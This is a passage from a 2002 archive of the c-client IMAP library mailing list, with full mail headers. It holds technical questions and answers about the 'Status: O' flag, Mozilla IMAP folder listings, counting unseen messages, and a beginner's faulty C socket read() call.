falls into the same pithole as me, since > if I write a message to myself from within pine it gets "Status: O", > even before I even see it in the index. I just tested it in Pine. I saved a message to a new mailbox. It did not get the "Status: O" flag. From pinedev@shivax2.cac.washington.edu Tue Sep 24 13:18:42 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Sep 2002 13:18:42 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8OKIg2P020502 for ; Tue, 24 Sep 2002 13:18:42 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Sep 24 13:18:41 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8OKIea4019739 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 24 Sep 2002 13:18:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8OKGwOm083378; Tue, 24 Sep 2002 13:16:58 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8OKEb97030486 for ; Tue, 24 Sep 2002 13:14:37 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Sep 24 13:14:37 2002 -0700 Received: from eisberg (eisberg.sourcepole.ch [194.6.185.253]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8OKEadX019984 for ; Tue, 24 Sep 2002 13:14:37 -0700 Received: from www-data by eisberg with local (Exim 3.35 #1 (Debian)) id 17tw4N-0000t3-00; Tue, 24 Sep 2002 22:14:07 +0200 Received: from 194.230.242.107 ( [194.230.242.107]) as user tpo2@localhost by www.sourcepole.ch with HTTP; Tue, 24 Sep 2002 22:14:06 +0200 Message-Id: <1032898446.3d90c78e48e3d@www.sourcepole.ch> Date: Tue, 24 Sep 2002 22:14:06 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tpo2@sourcepole.ch To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Status: O In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 194.230.242.107 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Mark Crispin : > You can append to a null stream, or to a stream open on another mailbox. > Note that a closed stream (mail_close() called on it) is no longer valid and > has been free()d. > > In general, you only should provide a non-null stream if you are using > IMAP, and already have a stream open to the IMAP server for the APPEND > destination mailbox. In that case, c-client will use that stream instead of > making a temporary stream. OK, thanks a lot. I can provide you a patch against the docu to have that documented there. Are you interested? And if I append a message to an open IMAP stream than the same will happen, the mail will recieve the "Status: O" flag or not? Because when syncing I don't want to bother the user with re-entering the password. I want to be able to ask him/her once and then to sync. > > Btw - I note that pine apparently falls into the same pithole as me, > > since if I write a message to myself from within pine it gets "Status: O", > > even before I even see it in the index. > > I just tested it in Pine. I saved a message to a new mailbox. It did not > get the "Status: O" flag. Um - I'm in my local INBOX and I send mail (through the normal MTA (=exim)) locally to myself (tpo@localhost). I won't see the message since I don't press cursor down at the bottom of the INBOX page. Next I quit pine and have a look through an editor at my /var/spool/mail/tpo inbox. And I see that "Status: O" is set there. *t ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From pinedev@shivax2.cac.washington.edu Tue Sep 24 13:47:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Sep 2002 13:47:14 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8OKlE2P021770 for ; Tue, 24 Sep 2002 13:47:14 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Sep 24 13:47:13 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8OKlCCM026374 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 24 Sep 2002 13:47:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8OKj94G032942; Tue, 24 Sep 2002 13:45:10 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8OKgw97082506 for ; Tue, 24 Sep 2002 13:42:59 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Sep 24 13:42:58 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8OKgvMH009281 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 24 Sep 2002 13:42:57 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8OKgvCP010489 for ; Tue, 24 Sep 2002 13:42:57 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Sep 24 13:42:56 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8OKguTb029632 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 24 Sep 2002 13:42:56 -0700 Message-Id: Date: Tue, 24 Sep 2002 13:42:57 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: tpo2@sourcepole.ch Cc: c-client@u.washington.edu Subject: re: Status: O In-Reply-To: <1032898446.3d90c78e48e3d@www.sourcepole.ch> References: <1032898446.3d90c78e48e3d@www.sourcepole.ch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 24 Sep 2002 tpo2@sourcepole.ch wrote: > And if I append a message to an open IMAP stream than the same will > happen, the mail will recieve the "Status: O" flag or not? If you append a message to a mailbox *while that mailbox is open*, then the entity that has that mailbox open will see the newly-appended message as \Recent and set "Status: O". An open IMAP stream on some other mailbox will not set "Status: O", even if you use it as the argument to mail_append(). An open IMAP stream on no mailbox (a "half-open" stream) will not set "Status: O", even if you use it as the argument to mail_append(). An open IMAP stream on that mailbox will set "Status: O", even if you do not use it as the argument to mail_append(). An open IMAP or POP3 stream on that mailbox by some other client will set "Status: O", as will an open local mailbox stream. > Because when > syncing I don't want to bother the user with re-entering the password. I > want to be able to ask him/her once and then to sync. Most clients cache authentication credentials to use in subsequent authentications, to avoid the "bother the user with re-entering the password" problem. > Um - I'm in my local INBOX and I send mail (through the normal MTA (=exim)) > locally to myself (tpo@localhost). I won't see the message since I don't press > cursor down at the bottom of the INBOX page. Next I quit pine and have a look > through an editor at my /var/spool/mail/tpo inbox. And I see that "Status: O" > is set there. That is because Pine saw the message! You quit Pine before the Pine user interface showed you the message. However, the act of quitting Pine causes Pine to do a final synchronization with the mailbox. That final syncronization caused Pine to see the message. If you append to a mailbox while something, somewhere, has the mailbox open, you can not expect that hurriedly quitting that "something" will prevent that "something" from seeing the message and setting "Status: O". You MUST assume that if something, somewhere, has the mailbox open, then that "something" WILL see the message and WILL set "Status: O". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Sep 25 07:48:57 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Sep 2002 07:48:57 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8PEmvMb020624 for ; Wed, 25 Sep 2002 07:48:57 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Sep 25 07:48:56 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8PEmuCM019932 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 25 Sep 2002 07:48:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8PEl2Om078598; Wed, 25 Sep 2002 07:47:02 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8PEi497135174 for ; Wed, 25 Sep 2002 07:44:04 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Sep 25 07:44:03 2002 -0700 Received: from hebrides.yandk.org (pcp482978pcs.oakrdg01.tn.comcast.net [68.47.174.91]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8PEi3nf015494 for ; Wed, 25 Sep 2002 07:44:03 -0700 Received: from yhetheridge.org (eryl.yandk.org [192.168.1.13]) by hebrides.yandk.org (8.11.6/8.11.6) with ESMTP id g8PEi1r19170 for ; Wed, 25 Sep 2002 10:44:01 -0400 Message-Id: <3D91CBB0.8000703@yhetheridge.org> Date: Wed, 25 Sep 2002 10:44:00 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Young H. Etheridge" To: c-client@u.washington.edu Subject: Mozilla-1.1/IMAP/SSL MailFolder problem MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en, pdf X-Enigmail-Version: 0.65.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I use Mozilla-1.1's Mail/News Module to connect to my Linux (RedHat-7.1) IMAP service over SSL. I have many mailfolders with subfolders in my IMAP personal directory. Everytime I open a first-level mailfolder with subfolders, my client-side IMAP directory immediately receives many new, undesirable folder directives of directories visited throughout my IMAP server filesystem, starting with the root. The resultant labels in the Mozilla client directory are <8-hexit_file_name>.msf which contain the Mozilla folder IMAP directives/attributes. My client-side IMAP configuration preferences do not allow the IMAP server to override the server namespace. The personal namespace allows "#mh/","#mhinbox", and "". The Public (shared) and Other namespaces are empty. This problem does not arise when the same IMAP connection does not use SSL. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 25 08:36:02 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Sep 2002 08:36:02 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8PFa2Mb022414 for ; Wed, 25 Sep 2002 08:36:02 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Sep 25 08:36:01 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8PFa0a4014993 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 25 Sep 2002 08:36:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g8PFYSpB015054; Wed, 25 Sep 2002 08:34:28 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g8PFWCFD177782 for ; Wed, 25 Sep 2002 08:32:12 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Sep 25 08:32:11 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8PFWAnf030352 for ; Wed, 25 Sep 2002 08:32:11 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id IAA17769; Wed, 25 Sep 2002 08:31:55 -0700 (PDT) Message-Id: Date: Wed, 25 Sep 2002 08:29:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Young H. Etheridge" Cc: c-client@u.washington.edu Subject: re: Mozilla-1.1/IMAP/SSL MailFolder problem In-Reply-To: <3D91CBB0.8000703@yhetheridge.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Two obvious (to me, anyway) questions: Have you verified that the same imapd binary is running on both the non-SSL port (port 143) and the SSL port (port 993)? If not, perhaps you modified one imapd binary to return a different view of the namespace, but not the other one. Have you asked the Mozilla people? This seems to be more of a Mozilla issue than a c-client issue. imapd does not unilaterally send data; it has to be asked by the client (Mozilla in this case) to do so. From pinedev@shivax2.cac.washington.edu Thu Sep 26 09:45:26 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Sep 2002 09:45:26 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8QGjQMb005423 for ; Thu, 26 Sep 2002 09:45:26 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Sep 26 09:45:24 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8QGjLa4023581 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 26 Sep 2002 09:45:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g8QGiGpB028256; Thu, 26 Sep 2002 09:44:16 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g8QGegFD152490 for ; Thu, 26 Sep 2002 09:40:46 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Sep 26 09:40:41 2002 -0700 Received: from cmailg1.svr.pol.co.uk (cmailg1.svr.pol.co.uk [195.92.195.171]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8QGeedX008986 for ; Thu, 26 Sep 2002 09:40:41 -0700 Received: from [195.92.67.23] (helo=mail18.svr.pol.co.uk) by cmailg1.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17ubgt-00029O-00 for c-client@u.washington.edu; Thu, 26 Sep 2002 17:40:39 +0100 Received: from modem-2562.aardvark.dialup.pol.co.uk ([217.134.10.2]) by mail18.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17ubgr-0004pR-00 for c-client@u.washington.edu; Thu, 26 Sep 2002 17:40:38 +0100 Message-Id: Date: Thu, 26 Sep 2002 17:40:24 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: c-client@u.washington.edu Subject: Unseen count on a selected mailbox MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, In my application using c-client 2002.RC5, I call mail_open() with the OP_HALFOPEN flag then call mail_status() to get the unseen message count which I store. Then I open the mailbox fully. I invalidate my stored unseen variable if mm_exists(), or mm_flags() occurs. If at some time later I need to query the unseen count and my stored variable is invalid I call mail_status() again, but I see the following via the mm_log() callback: mm_log(): CLIENT BUG DETECTED: STATUS on selected mailbox: faxes It does work and returns the new unseen value. I could search the mailbox for unseen messages but that seems a lot of work to get the unseen count! Any suggestions? Thanks Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 26 10:00:19 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Sep 2002 10:00:18 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8QH0IMb006307 for ; Thu, 26 Sep 2002 10:00:18 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Sep 26 10:00:17 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8QH0Ga4024109 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 26 Sep 2002 10:00:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g8QGxtpB017372; Thu, 26 Sep 2002 09:59:55 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g8QGuVFD162644 for ; Thu, 26 Sep 2002 09:56:31 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Sep 26 09:56:30 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8QGuTIr020711 for ; Thu, 26 Sep 2002 09:56:30 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA19440; Thu, 26 Sep 2002 09:56:19 -0700 (PDT) Message-Id: Date: Thu, 26 Sep 2002 09:51:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Elvers Cc: c-client@u.washington.edu Subject: re: Unseen count on a selected mailbox In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Sep 2002 17:40:24 +0100 (BST), Mark Elvers wrote: > I could search the mailbox > for unseen messages but that seems a lot of work to get the unseen count! The simple answer is: It seems like a lot work to search the mailbox for unseen messages to get the unseen count, but that is *much* less work than mail_status(). As long as you make sure that the elts have valid (elt->valid) status, you can look at the flags directly with something like: for (unseen = 0, msgno = 1; msgno <= stream->msgno; ++msgno) if (!mail_elt (stream,msgno)->seen) ++unseen; You can make sure that the elts have valid status with mail_fetch_flags() or mail_fetch_fast(), which only need to be called once in a session for any message. You don't have to worry about valid status issues at all unless you are using IMAP. From pinedev@shivax2.cac.washington.edu Wed Oct 2 19:15:18 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Oct 2002 19:15:18 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g932FIMb019381 for ; Wed, 2 Oct 2002 19:15:18 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 02 19:15:17 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g932FGa4022663 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Oct 2002 19:15:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g932EIxQ010282; Wed, 2 Oct 2002 19:14:19 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g932AOFD119578 for ; Wed, 2 Oct 2002 19:10:25 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Oct 02 19:10:24 2002 -0700 Received: from ureach.com (mail.ureach.com [63.150.151.36]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g932ANdX005839 for ; Wed, 2 Oct 2002 19:10:24 -0700 Received: from www20.ureach.com (www20.ureach.com [172.16.2.48]) by ureach.com (8.9.1/8.8.5) with ESMTP id WAA01824 for ; Wed, 2 Oct 2002 22:10:23 -0400 Received: (from nobody@localhost) by www20.ureach.com (8.9.3/8.9.1) id WAA29825; Wed, 2 Oct 2002 22:10:23 -0400 Received: from [210.8.232.5] by www20.ureach.com via HTTP; Thu, 03 Oct 2002 02:10:23 GMT Message-Id: <200210030210.WAA29825@www20.ureach.com> Date: Wed, 2 Oct 2002 22:10:23 -0400 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Fouad Kassab To: c-client@u.washington.edu Subject: Bad address Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-vsuite-type: e X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I have just started in a process of writing a client that will talk to an IMAP4 server. The below code is giving me an error (Bad address) when i call read() for the first time. I am not sure why. i can use telnet easily to talk to the imap4 server "aineldelb.com" at the port 143. I can not do it with the code below. I am using TCP for the connection. The code below is fairly simple and straight forward. All i want to do with it really is just to get the welcome message from the server. the rest of it is not important. you will find the read() under a line of //////////////////////////////s Thank you for your help in advance. #include #include #include #include #include #include #include #define BUF_LEN 48 main(int argc, char *argv[]) { int csd; struct sockaddr_in server; struct hostent *server_host; int server_len; int string_size; short server_port; int out_cnt, in_cnt; char client_send_string[BUF_LEN]; char *server_reversed_string = " "; int ret_code; int terminate = 0; char *host_name = "aineldelb.com"; server_host = gethostbyname(host_name); server_port = 143; csd = socket(PF_INET, SOCK_STREAM, 0); if(csd < 0){ perror("While calling socket()"); exit(1); } server.sin_family = AF_INET; memcpy(&server.sin_addr, server_host->h_addr_list[0], server_host ->h_length); server.sin_port = htons(server_port); if(connect(csd, (void *)&server, sizeof(server)) == -1) { perror("While calling connect()"); exit(1); } ////////////////////////// THIS IS THE READ THAT IS GIVING ME PROBLEMS in_cnt = read(csd, server_reversed_string, BUF_LEN); if(in_cnt < 0) { perror("While calling read()"); exit(1); } } ________________________________________________ Get your own "800" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 2 19:55:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Oct 2002 19:55:37 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g932tbMb020180 for ; Wed, 2 Oct 2002 19:55:37 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Oct 02 19:55:36 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g932tVa4023646 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Oct 2002 19:55:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g932oApB033054; Wed, 2 Oct 2002 19:50:10 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g932bmFD054642 for ; Wed, 2 Oct 2002 19:37:48 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Oct 02 19:37:47 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g932bkdX011128 for ; Wed, 2 Oct 2002 19:37:46 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id TAA03042; Wed, 2 Oct 2002 19:37:42 -0700 (PDT) Message-Id: Date: Wed, 2 Oct 2002 19:17:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: fouad@ureach.com Cc: c-client@u.washington.edu Subject: re: Bad address In-Reply-To: <200210030210.WAA29825@www20.ureach.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The problem is not an IMAP problem, or a c-client problem. It is a problem in your C code. It would be better if you ask such questions in a C programming forum. The following clues may help you: The reason why you got a "Bad address" error is that you tried to write into a write-protected area of memory. The read() call reads from the network, but writes into memory. One of the arguments to the read() call in your program is incorrect, and is the cause of the attempt to write into a write-protected area of memory. C does not dynamically allocate space for strings ala LISP or BASIC. In C, you must do so yourself. Also, the concept of "pointers" is very important in C. From pinedev@shivax2.cac.washington.edu Wed Oct 2 22:02:34 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Oct 2002 22:02:34 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9352YMb022373 for ; Wed, 2 Oct 2002 22:02:34 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Oct 02 22:02:33 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9352Wa4026245 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Oct 2002 22:02:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93525xQ032776; Wed, 2 Oct 2002 22:02:05 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g934xRFD147782 for ; Wed, 2 Oct 2002 21:59:28 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Oct 02 21:59:27 2002 -0700 Received: from ureach.com (mail.ureach.com [63.150.151.36]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g934xQIr005807 for ; Wed, 2 Oct 2002 21:59:27 -0700 Received: from www20.ureach.com (www20.ureach.com [172.16.2.48]) by ureach.com (8.9.1/8.8.5) with ESMTP id AAA04885; Thu, 3 Oct 2002 00:59:26 -0400 Received: (from nobody@localhost) by www20.ureach.com (8.9.3/8.9.1) id AAA21172; Thu, 3 Oct 2002 00:59:26 -0400 Received: from 